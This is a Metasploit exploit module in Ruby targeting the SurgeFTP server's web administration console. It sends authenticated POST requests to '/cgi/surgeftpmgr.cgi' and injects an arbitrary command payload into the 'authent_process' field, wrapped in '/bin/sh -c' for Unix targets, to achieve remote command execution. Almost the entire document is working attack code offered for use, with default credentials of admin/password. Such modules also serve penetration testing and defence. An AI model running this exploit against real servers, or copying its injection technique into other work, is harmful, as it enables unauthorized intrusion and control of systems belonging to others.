SurgeFTP Remote Command Execution

`require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SurgeFTP Remote Command Execution',  
'Description' => %q{  
This module exploits a flaw in the SurgeFTP server's web-based  
administrative console to execute arbitary commands.  
},  
'Author' =>   
[  
'Spencer McIntyre',  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
],  
'Arch' => ARCH_CMD,  
'Platform' => ['unix', 'win'],  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true,  
},  
'Targets' =>  
[  
[ 'Windows', { 'modifier' => "%s" }, ],  
[ 'Unix', { 'modifier' => "/bin/sh -c \"%s\"" }, ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Dec 06 2012'))  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),  
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),  
], self.class)  
  
end  
  
def exploit  
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])  
command = target['modifier'] % payload.encoded  
print_status("Invoking command")  
  
res = send_request_cgi(  
{  
'uri' => '/cgi/surgeftpmgr.cgi',  
'method' => 'POST',  
'headers' =>  
{  
'Authorization' => "Basic #{user_pass}",  
},  
'vars_post' =>  
{  
'global_smtp' => "",  
'global_restart' => "",  
'global_style' => "",  
'global_bind' => "",  
'global_passive_ip' => "",  
'global_passive_match' => "",  
'global_logon_mode' => "",  
'global_log_host' => "",  
'global_login_error' => "",  
'global_adminip' => "",  
'global_total_users' => "",  
'global_con_perip' => "",  
'global_ssl' => "",  
'global_ssl_cipher_list' => "",  
'global_implicit_port' => "",  
'log_level' => "",  
'log_home' => "",  
'global_watcher_program_ul' => "",  
'global_watcher_program_dl' => "",  
'authent_process' => command,  
'authent_cmdopts' => "",  
'authent_number' => "",  
'authent_domain' => "",  
'global_strip_user_domain' => "",  
'global_noclass' => "",  
'global_anon_hammer_over_time' => "",  
'global_anon_hammer_max' => "",  
'global_anon_hammer_block_time' => "",  
'global_port' => "",  
'global_mgr_port' => "",  
'global_mgr_ssl_port' => "",  
'cmd_global_save.x' => "36",  
'cmd_global_save.y' => "8",  
}  
})  
  
if not (res and res.code == 200)  
print_error("Failed to execute command")  
else  
print_status("Done")  
end  
end  
end  
`